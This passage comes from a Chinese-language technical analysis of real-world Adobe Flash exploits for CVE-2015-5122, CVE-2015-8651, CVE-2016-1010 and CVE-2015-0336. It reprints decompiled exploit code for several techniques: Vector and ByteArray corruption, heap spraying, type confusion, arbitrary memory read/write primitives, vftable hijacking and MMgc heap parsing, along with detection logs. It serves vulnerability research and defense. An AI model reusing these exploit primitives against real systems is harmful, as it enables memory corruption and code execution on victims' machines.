_tb.recreateTextLine(_ar[(_arLen2 - i)]); // Trigger use-after-free condition
i = (i + 1);
};
i = _arLen2;
while (i < _arLen)
{
_ar[i].length = _vLen;
i = (i + 1);
};
};
...
return ((_vLen + 0x08));
}
图10 调用valueOf2函数
i = _arLen2;
while (i < _arLen)
{
_vu = _ar[i];
if (_vu.length > (_vLen + 0x02))
{
Log(((("ar[" + i) + "].length = ") + Hex(_vu.length)));
Log(((((("ar[" + i) + "][") + Hex(_vLen)) + "] = ") + Hex(_vu[_vLen])));
if (_vu[_vLen] == _vLen)
{
_vu[_vLen] = LEN40; // Corrupt _vu[_vLen+0x02].length to LEN40 (0x40000000)
_vu = _ar[_vu[(_vLen + 0x02)]]; // _vu now points to corrupt Vector element
break;
};
};
i = (i + 1);
};
图11 查找corrupt后的Vector元素
此过程中FlashHacker的日志信息如下所示，可以看到Vector.\.length字段被置成了0x40000000。
* Detection: Setting valueOf: Object=Object Function=valueOf2
* Setting property: MyClass.prototype.valueOf
Object Name: MyClass.prototype
Object Type: Object
Property: valueOf
Location: MyClass32/class/TryExpl
builtin.as$0::MethodClosure
function Function() {}
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: Vector Corruption
Corrupt Vector.<uint>.length: 0x40000000 at MyClass32/class/TryExpl L239 <- Vector corruption detected
... Message repeat starts ...
... Last message repeated 2 times ...
Writing __AS3__.vec::Vector.<uint>[0x3FFFFF9A]=0x6A->0x62 Maximum Vector.<uint>.length:328 <- out-of-bounds access
Location: MyClass32/class/Prepare (L27)
Current vector.<Object> Count: 1 Maximum length:46
Writing __AS3__.vec::Vector.<uint>[0x3FFE6629]=0xAC84EE0->0xA44B348 Maximum Vector.<uint>.length:328
Location: MyClass32/class/Set (L20)
Writing __AS3__.vec::Vector.<uint>[0x3FFE662A]=0xAE76041->0x9C Maximum Vector.<uint>.length:328
Location: MyClass32/class/Set (L20)
图12 Vector结构corrupt过程中的FlashHacker日志
#### 2.2 ByteArray结构的corruption
在代号为DUBNIUM的行动中，我们发现CVE-2015-8651的利用样本通过对ByteArray.length字段的corruption来实现RW
primitives，此技术是为了绕过Vector的长度保护而引入的。
_local_4 = 0x8012002C;
si32(0x7FFFFFFF, (_local_4 + 0x7FFFFFFC)); // Out-of-bounds write with si32 upon ByteArray.length location at _local_4 + 0x7FFFFFFC with value of 0x7FFFFFFF
图13 通过si32指令对ByteArray.length字段进行corrupt
在完成ByteArray.length字段的corrupt后，我们还需要找到受影响的那个ByteArrays元素。
_local_10 = 0x00;
while (_local_10 < bc.length)
{
if (bc[_local_10].length > 0x10) // Check if ByteArray.length is corrupt
{
cbIndex = _local_10; // Index of corrupt ByteArray element in the bc array
}
else
{
bc[_local_10] = null;
};
_local_10++;
};
图14 确定受影响的ByteArray元素
下面给出的是此exploit提供的各个RW primitives方法，基本上能支持各个操作系统中的目标程序。
public function read32(destAddr:Number, modeAbs:Boolean=true):Number
private function read32x86(destAddr:int, modeAbs:Boolean):uint
private function read32x64(destAddr:Number, modeAbs:Boolean):uint
public function readInt(u1:int, u2:int, mod:uint):int
public function read64(destAddr:Number, modeAbs:Boolean=true):Number
private function read64x86(destAddr:int, modeAbs:Boolean):Number
private function read64x64(destAddr:Number, modeAbs:Boolean):Number
public function readBytes(destAddr:Number, nRead:uint, modeAbs:Boolean=true):ByteArray
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
private function readBytesx64(destAddr:Number, nRead:uint, modeAbs:Boolean):ByteArray
public function write32(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
private function write32x64(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
public function write64(destAddr:Number, value:Number, modeAbs:Boolean=true):Boolean
private function write64x86(destAddr:uint, value:Number, modeAbs:Boolean):Boolean
private function write64x64(destAddr:Number, value:Number, modeAbs:Boolean):Boolean
public function writeBytes(destAddr:Number, baWrite:ByteArray, modeAbs:Boolean=true):ByteArray
private function writeBytesx86(destAddr:uint, ba:ByteArray, modeAbs:Boolean):ByteArray
private function writeBytesx64(destAddr:Number, ba:ByteArray, modeAbs:Boolean):ByteArray
图15 RW primitives方法
例如，read32x86方法可用于读取x86平台上任意进程空间的内容。其中，cbIndex变量是bc数组的索引，该数组为ByteArray类型，同时，bc[cbIndex]对应的正是那个corrupt后的ByteArray元素。首先需要通过position成员来设置目标地址，之后便可以使用readUnsignedInt方法读取此内存值。
private function read32x86(destAddr:int, modeAbs:Boolean):uint
{
var _local_3:int;
if (((isMitisSE) || (isMitisSE9)))
{
bc[cbIndex].position = destAddr;
bc[cbIndex].endian = "littleEndian";
return (bc[cbIndex].readUnsignedInt());
};
图16 Read primitive方法
write32x86方法也是相同的道理，它借助writeUnsignedInt来实现任意内存的写入操作。
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
{
if (((isMitisSE) || (isMitisSE9)))
{
bc[cbIndex].position = destAddr;
bc[cbIndex].endian = "littleEndian";
return (bc[cbIndex].writeUnsignedInt(value));
};
图17 Write primitive方法
基于这些，exploit也就能够完成一些更复杂的操作了，例如可以借助readBytes方法实现多个字节的读取。
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
{
var _local_4:ByteArray = new ByteArray();
var _local_5:uint = read32(rwableBAPoiAddr);
write32(rwableBAPoiAddr, destAddr);
var _local_6:uint;
if (nRead > 0x1000)
{
_local_6 = read32((rwableBAPoiAddr + 0x08));
write32((rwableBAPoiAddr + 0x08), nRead);
};
rwableBA.position = 0x00;
try
{
rwableBA.readBytes(_local_4, 0x00, nRead);
}
图18 读取单个字节
#### 2.3 ConvolutionFilter.matrix和tabStops的类型混淆
CVE-2016-1010这个堆溢出漏洞存在于BitMapData.copyPixel方法中，相应exploit中用到的RW
primitives是很有意思的，值得注意的是这些RW primitives功能将用于实现ByteArray对象的RW
primitives，后面的内存读写也主要借助这个corrupt后的ByteArray对象。因此，最开始实现的RW
primitives功能只起到了一个临时的作用，由之实现的ByteArray对象上的RW
primitives功能才是主要的，因为就编程来说操作ByteArray对象会显得更直观些。
实现RW primitives功能的第一步为执行Convolutionfilter对象的喷射操作。
public function SprayConvolutionFilter():void
{
var _local_2:int;
hhj234kkwr134 = new ConvolutionFilter(defaultMatrixX, 1);
mnmb43 = new ConvolutionFilter(defaultMatrixX, 1);
hgfhgfhfg3454331 = new ConvolutionFilter(defaultMatrixX, 1);
var _local_1:int;
while (_local_1 < 0x0100)
{
_local_2 = _local_1++;
ConvolutionFilterArray[_local_2] = new ConvolutionFilter(defaultMatrixX, 1); // heap spraying ConvolutionFilter objects
};
}
接着由copyPixels方法触发此漏洞后，exploit会通过调用TypeConfuseConvolutionFilter方法来创建一个类型混淆的ConvolutionFilter对象。
public function TriggerVulnerability():Boolean
{
var _local_9:int;
var sourceBitmapData:BitmapData = new BitmapData(1, 1, true, 0xFF000001); // fill color is FF000001
var sourceRect:Rectangle = new Rectangle(-880, -2, 0x4000000E, 8);
var destPoint:Point = new Point(0, 0);
var _local_4:TextFormat = new TextFormat();
_local_4.tabStops = [4, 4];
...
_local_1.copyPixels(sourceBitmapData, sourceRect, destPoint);
if (!(TypeConfuseConvolutionFilter()))
{
return (false);
};
图19 在TriggerVulnerability中调用TypeConfuseConvolutionFilter
对于TypeConfuseConvolutionFilter函数，它将借助DWORD值0x55667788来标识corrupt后的内存区域，并借此定位堆喷对象中那个类型混淆的ConvolutionFilter元素。
public function TypeConfuseConvolutionFilter():Boolean
{
...
while (_local_3 < 0x0100)
{
_local_4 = _local_3++;
ConvolutionFilterArray[_local_4].matrixY = kkkk2222222;
ConvolutionFilterArray[_local_4].matrix = _local_2;
};
...
_local_5 = gfhfghsdf22432.ghfg43[bczzzzz].matrix;
_local_5[0] = jjj3.IntToNumber(0x55667788); // Corrupt memory
gfhfghsdf22432.ghfg43[bczzzzz].matrix = _local_5;
ConfusedConvolutionFilterIndex = -1;
_local_3 = 0;
while (((ConfusedConvolutionFilterIndex == (-1)) && ((_local_3 < ConvolutionFilterArray.length))))
{
matrix = ConvolutionFilterArray[_local_3].matrix;
_local_4 = 0;
_local_6 = _local_9.length;
while (_local_4 < _local_6)
{
_local_7 = _local_4++;
if ((jjj3.NumberToDword(matrix[_local_7]) == 0x55667788)) // Locate type-confused ConvolutionFilter object
{
ConfusedConvolutionFilterIndex = _local_3;
break;
};
};
_local_3++;
};
图20 对ConvolutionFilter进行类型混淆并找出受影响的元素
而在创建完类型混淆的ConvolutionFilter对象后，exploit将借其来定位类型混淆的TextField对象。
public function TriggerVulnerability():Boolean
{
...
var _local_7:Boolean;
var _local_8:int;
while (_local_8 < 16)
{
_local_9 = _local_8++;
TextFieldArray[_local_9].setTextFormat(_local_4, 4, 5);
ConfusedMatrix = ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix;
if ((jjj3.NumberToDword(ConfusedMatrix[ConfusedMatrixIndex]) == 8))
{
ConfusedTextField = TextFieldArray[_local_9]; // Type-confused TextField
_local_7 = true;
break;
};
};
图21 查找类型混淆的TextField对象
最后看一下Read4方法的实现，如果存在corrupt后的ByteArray对象，那么将会优先通过它来读取内存，同时此方法中也可以借助类型混淆的ConvolutionFilter和TextField对象进行内存的读取，其中目标地址由ConvolutionFilter对象来传递，然后通过textFormat.tabStops[0]来读取内存数据。
public function read4(_arg_1:___Int64):uint
{
var matrixIndex:int;
if (IsByteArrayCorrupt)
{
SetCorruptByteArrayPosition(_arg_1);
return (CorruptByteArray.readUnsignedInt());
};
matrixIndex = (17 + ConfusedMatrixIndex);
TmpMatrix[matrixIndex] = jjj3.IntToNumber(_arg_1.low);
TmpMatrix[(matrixIndex + 1)] = jjj3.IntToNumber(1);
ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix = TmpMatrix;
textFormat = ConfusedTextField.getTextFormat(0, 1);
return (textFormat.tabStops[0]);
}
图22 通过TextFormat.tabStops[0]读取内存数据
### 3 CFG保护
自从Adobe Flash
Player中引入CFG保护后，代码执行对于exploit开发者来说就成了一个很艰巨的任务，我们总结了他们近来使用的各项技术，发现CFG还是非常强大的，它使得exploit的开发成本大幅提高了。事实上，在过去两年中，坊间并未出现针对微软Windows
8.1+系统中Internet Explorer 11的远程代码执行0day漏洞，这些系统都是有CFG保护的。
.text:10C5F13B mov esi, [esp+58h+var_3C]
.text:10C5F13F lea eax, [esp+58h+var_34]
.text:10C5F143 movups xmm1, [esp+58h+var_34]
.text:10C5F148 movups xmm0, [esp+58h+var_24]
.text:10C5F14D push dword ptr [esi]
.text:10C5F14F mov esi, [esi+8]
.text:10C5F152 pxor xmm1, xmm0
.text:10C5F156 push eax
.text:10C5F157 push eax
.text:10C5F158 mov ecx, esi
.text:10C5F15A movups [esp+64h+var_34], xmm1
.text:10C5F15F call ds:___guard_check_icall_fptr // CFG check routine
.text:10C5F165 call esi
图23 CFG检测代码
#### 3.1 引入CFG前的代码执行技术 - vftable的corruption
在引入CFG保护之前，如果exploit能够获取目标进程空间的读写特权，那么代码执行就变得很容易了，大部分情况下只需corrupt目标对象的vftable表，然后就可以调用自身代码了，其中FileReference和Sound是最常利用的目标对象。以下CVE-2015-0336的exploit代码给出了一个通过FileReference.cancel方法进行代码执行的例子。
var _local_10:uint = (read32((_local_5 + (((0x08 - 1) * 0x28) * 0x51))) + (((((-(0x9C) + 1) - 1) - 0x6E) - 1) + 0x1B));
var _local_4:uint = read32(_local_10);
write32(_local_10, _local_7);
cool_fr.cancel();
图24 在利用代码中调用FileReference.cancel
下述为此exploit借助FileReference对象执行shellcode的日志信息。
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFE]=0x9A90201E->0x1E Maximum Vector.<uint>.length:1022
Location: Main/instance/trig_loaded (L340)
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFF]=0x7E74027->0x7E74000 Maximum Vector.<uint>.length:1022
Location: Main/instance/trig_loaded (L402)
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x931F1F0->0x2A391000 Maximum Vector.<uint>.length:1022
Location: Main/instance/Main/instance/write32 (L173)
> Call flash.net::FileReference QName(PackageNamespace("", null), "cancel"), 0
Instruction: callpropvoid QName(PackageNamespace("", null), "cancel"), 0
Called from: Main/instance/trig_loaded:L707
* Returning from: flash.net::FileReference QName(PackageNamespace("", null), "cancel"), 0
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x2A391000->0x931F1F0 Maximum Vector.<uint>.length:1022
Location: Main/instance/Main/instance/write32 (L173)
Writing __AS3__.vec::Vector.<uint>[0x7FFFFFFE]=0x7FFFFFFF->0x1E Maximum Vector.<uint>.length:1022
Location: Main/instance/Main/instance/repair_vector (L32)
图25 通过FileReference.cancel调用执行shellcode
### 4 MMgc内存管理垃圾回收器
随着CFG保护的引入，攻击者们又转而在MMgc中查找能够利用的目标，以便完成接下去的代码执行。对MMgc来说，它在许多内部结构的分配上具有可预测的行为，这有助于攻击者们解析MMgc中的对象结构从而找出可利用的目标。
#### 4.1 查找对象
坊间发现的CVE-2016-1010利用样本会通过解析MMgc的内部结构来达成多种目的，此过程需要先泄露对象的内存地址，在此样本中，泄漏的地址来自于一个类型混淆的ConvolutionFilter对象。
public function TriggerVulnerability():Boolean
{
...
_local_1.copyPixels(_local_1, _local_2, _local_3);
if (!(TypeConfuseConvolutionFilter()))
{
return (false);
};
...
gfhfghsdf22432.ghfg43[(bczzzzz + 1)].matrixX = 15;
gfhfghsdf22432.ghfg43[bczzzzz].matrixX = 15;
gfhfghsdf22432.ghfg43[((bczzzzz + 6) - 1)].matrixX = 15;
LeakedObjectAddress = jjj3.hhhh33((jjj3.NumberToDword(ConvolutionFilterArray[ConfusedConvolutionFilterIndex].matrix[0]) & - 4096), 0);
图26 泄漏对象的内存地址
下述代码给出的是EnumerateFixedBlocks(hhh222)函数的起始部分。
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
...
var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
图27
在EnumerateFixedBlocks(hhh222)中会进行ParseFixedAllHeaderBySize和ParseFixedBlock调用
由分析可知，EnumerateFixedBlocks(hhh222)首先会调用ParseFixedAllocHeaderBySize(ghfgfh23)，
而ParseFixedAllocHeaderBySize(ghfgfh23)又会通过LocateFixedAllocAddrBySize(jjj34fdfg)和ParseFixedAllocHeader(cvb45)函数来获取并解析那些具有特定大小的对象。
public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2), FixedAllocSafeSize);
return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1, _arg_2)));
}
图28 ParseFixedAllocHeaderBySize(ghfgfh23)函数
#### LocateFixedAllocAddrBySize
LocateFixedAllocAddrBySize(jjj34fdfg)函数会通过arg_1参数来获取堆的大小，其返回值是相应堆块的内存起始地址。
* Enter: Jdfgdfgd34/instance/jjj34fdfg(000007f0, True)
* Return: Jdfgdfgd34/instance/jjj34fdfg 00000000`6fb7c36c
图29 LocateFixedAllocAddrBySize(jjj34fdfg)函数返回对象的内存地址，此对象大小为0x7f0
下面这部分代码会基于Flash的版本号和运行平台计算出地址的长度以及FixedAllocSafe结构的大小。
public function Jdfgdfgd34(_arg_1:*, _arg_2:Object):void
{
...
AddressLength = 4;
if (is64bit)
{
AddressLength = 8;
};
FixedAllocSafeSize = (((8 + (5 * AddressLength)) + AddressLength) + AddressLength);
if ((cbc4344.FlashVersionTokens[0] >= 20))
{
FixedAllocSafeSize = (FixedAllocSafeSize + AddressLength);
};
图30 确定MMgc中的相关偏移值和对象大小
而DetermineMMgcLocations(hgjdhjjd134134)函数则用于确定MMgc中相关的位置信息。
public function DetermineMMgcLocations (_arg_1:___Int64, _arg_2:Boolean):Boolean
{
var _local_6 = (null as ___Int64);
var _local_7 = (null as ___Int64);
var _local_8 = (null as ___Int64);
var _local_4:int = (jjjj222222lpmc.GetLow(_arg_1) & -4096);
var _local_3:___Int64 = jjjj222222lpmc.ConverToInt64((_local_4 + jhjhghj23.bitCount), jjjj222222lpmc.GetHigh(_arg_1));
_local_3 = jjjj222222lpmc.Subtract(_local_3, offset1);
var _local_5:___Int64 = gg2rw.peekPtr(_local_3);
_local_7 = new ___Int64(0, 0);
_local_6 = _local_7;
if ((((_local_5.high == _local_6.high)) && ((_local_5.low == _local_6.low))))
{
return (false);
};
cvbc345 = gg2rw.peekPtr(_local_5);
...
if (!(IsFlashGT20))
{
_local_6 = SearchDword3F8(_local_5);
M_allocs01 = _local_6;
M_allocs02 = _local_6;
}
else
{
if (_arg_2)
{
M_allocs01 = SearchDword3F8(_local_5);
...
M_allocs02 = SearchDword3F8(jjjj222222lpmc.AddInt64(M_allocs01, (FixedAllocSafeSize + 20)));
}
else
{
M_allocs02 = SearchDword3F8(_local_5);
...
M_allocs01 = SearchDword3F8(jjjj222222lpmc.SubtractInt64(M_allocs02, (FixedAllocSafeSize + 20)));
};
};
...
}
DetermineMMgcLocations(hgjdhjjd134134)函数会将对象泄露后得到的相关地址信息交由SearchDword3F8处理，而后SearchDword3F8函数会在内存中搜索DWORD值0x3F8
，这个值似乎是MMgc结构中一个非常重要的标识。
public function SearchDword3F8(_arg_1:___Int64):___Int64
{
var currentAddr:___Int64 = _arg_1;
var ret:int;
while (ret != 0x3F8)
{
currentAddr = jjjj222222lpmc.SubtractInt64(currentAddr, FixedAllocSafeSize);
if (IsFlashGT20)
{
ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, (AddressLength + 4)));
}
else
{
ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, AddressLength));
};
};
return (jjjj222222lpmc.SubtractInt64(currentAddr, (AddressLength + 4)));
}
图31 SearchDword3F8函数用于扫描内存中的DWORD值0x3f8
接着LocateFixedAllocAddrBySize(jjj34fdfg)函数会借助GetSizeClassIndex方法来获取索引值，并与前面得到的跟Flash版本及平台相关的大小信息一起用于计算FixedAlloc结构头的偏移量。
public function LocateFixedAllocAddrBySize(_arg_1:int, _arg_2:Boolean):___Int64
{
var index:int = jhjhghj23. GetSizeClassIndex(_arg_1);
var offset:int = ((2 * AddressLength) + (index * FixedAllocSafeSize));
if (_arg_2)
{
return (jjjj222222lpmc. AddInt (M_allocs01, offset));
};
return (jjjj222222lpmc. AddInt (M_allocs02, offset));
}
图32 LocateFixedAllocAddrBySize(jjj34fdfg)函数
下述代码为exploit中的GetSizeClassIndex实现：
public function Jdfgdf435GwgVfg():void
{
...
kSizeClassIndex64 = [0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26, 27, 27, 28,
28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35, 35,
36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40];
kSizeClassIndex32 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26, 27, 27,
28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35,
35, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40];
...
}
public function GetSizeClassIndex (arg_size:int) : int
{
if(is64bit)
{
return kSizeClassIndex64[arg_size + 7 >> 3];
}
return kSizeClassIndex32[arg_size + 7 >> 3];
}
图33 GetSizeClassIndex函数
可以发现这和AVMPlus开源项目中的FixedMalloc::FindAllocatorForSize函数实现是相似的。
REALLY_INLINE FixedAllocSafe* FixedMalloc::FindAllocatorForSize(size_t size)
{
...
// 'index' is (conceptually) "(size8>>3)" but the following
// optimization allows us to skip the &~7 that is redundant
// for non-debug builds.
#ifdef MMGC_64BIT
unsigned const index = kSizeClassIndex[((size+7)>>3)];
#else
// The first bucket is 4 on 32-bit systems, so special case that rather
// than double the size-class-index table.
unsigned const index = (size <= 4) ? 0 : kSizeClassIndex[((size+7)>>3)];
#endif
...
return &m_allocs[index];
}
图34 FixedMalloc::FindAllocatorForSize函数
class FixedMalloc
{
...
FixedAllocSafe m_allocs[kNumSizeClasses]; // The array of size-segregated allocators for small objects, set in InitInstance
...
图35 m_allocs数组变量的声明
下述为AVMplus项目中定义的kSizeClassIndex数组，可以看到它们具有相同的索引值。
#ifdef MMGC_64BIT
/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26,
27, 27, 28, 28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32,
32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
};
#else
/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26,
27, 27, 28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32,
32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
};
#endif
图36 AVMplus项目中的kSizeClassIndex定义
#### ParseFixedAllocHeader
FixedAlloc类的定义中包含有指向FixedBlock链表的指针，那些具有相同大小的内存块会被添加到同一链表中。
class FixedAlloc
{
...
private:
GCHeap *m_heap; // The heap from which we obtain memory
uint32_t m_itemsPerBlock; // Number of items that fit in a block
uint32_t m_itemSize; // Size of each individual item
FixedBlock* m_firstBlock; // First block on list of free blocks
FixedBlock* m_lastBlock; // Last block on list of free blocks
FixedBlock* m_firstFree; // The lowest priority block that has free items
size_t m_numBlocks; // Number of blocks owned by this allocator
...
图37 FixedAlloc类的定义
而ParseFixedAllocHeader(cvb45)函数将用于解析FixedAlloc对象，它会通过ReadPointer(ghgfhf12341)函数实现的RW
primitive功能来读取内存中相应位置的数据。
public function ParseFixedAllocHeader(_arg_1:ByteArray, _arg_2:___Int64):Object
{
var _local_3:* = null;
if (cbvd43) // true when major version >= 20
{
return ({
"m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
"m_unknown":_arg_1.readUnsignedInt(),
"m_itemsPerBlock":_arg_1.readUnsignedInt(),
"m_itemSize":_arg_1.readUnsignedInt(),
"m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
"m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
"m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
"m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
"m_isFixedAllocSafe":_arg_1.readByte(),
"m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
"fixedAllocAddr":_arg_2
});
};
return ({
"m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
"m_unknown":0,
"m_itemsPerBlock":_arg_1.readUnsignedInt(),
"m_itemSize":_arg_1.readUnsignedInt(),
"m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
"m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
"m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
"m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
"m_isFixedAllocSafe":_arg_1.readByte(),
"m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
"fixedAllocAddr":_arg_2
});
}
图38 ParseFixedAllocHeader函数
来看下面的例子，ParseFixedAllocHeaderBySize(ghfgfh23)函数中给定的堆大小为0x7f0，它将返回解析好的堆块结构。
Enter: Jdfgdfgd34/instance/ghfgfh23(000007f0, True)
...
Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]
* Return: Jdfgdfgd34/instance/ghfgfh23 [object Object]
Location: Jdfgdfgd34/instance/ghfgfh23 block id: 0 line no: 0
Call Stack:
Jdfgdfgd34/ghfgfh23()
Jdfgdfgd34/hhh222()
J34534534/fdgdfg45345345()
J34534534/jhfjhhg2432324()
...
Type: Return
Method: Jdfgdfgd34/instance/ghfgfh23
Return Value:
Object:
m_itemSize: 0x7f0 (2032) // current item size
fixedAllocAddr:
high: 0x0 (0)
low: 0x6fb7c36c (1874314092)
m_firstFree:
high: 0x0 (0)
low: 0x0 (0)
m_lastBlock:
high: 0x0 (0)
low: 0xc0d7000 (202207232)
m_spinlock:
high: 0x0 (0)
low: 0x0 (0)
m_unknown: 0x1 (1)
m_isFixedAllocSafe: 0x1 (1)
m_maxAlloc:
high: 0x0 (0)
low: 0x1 (1)
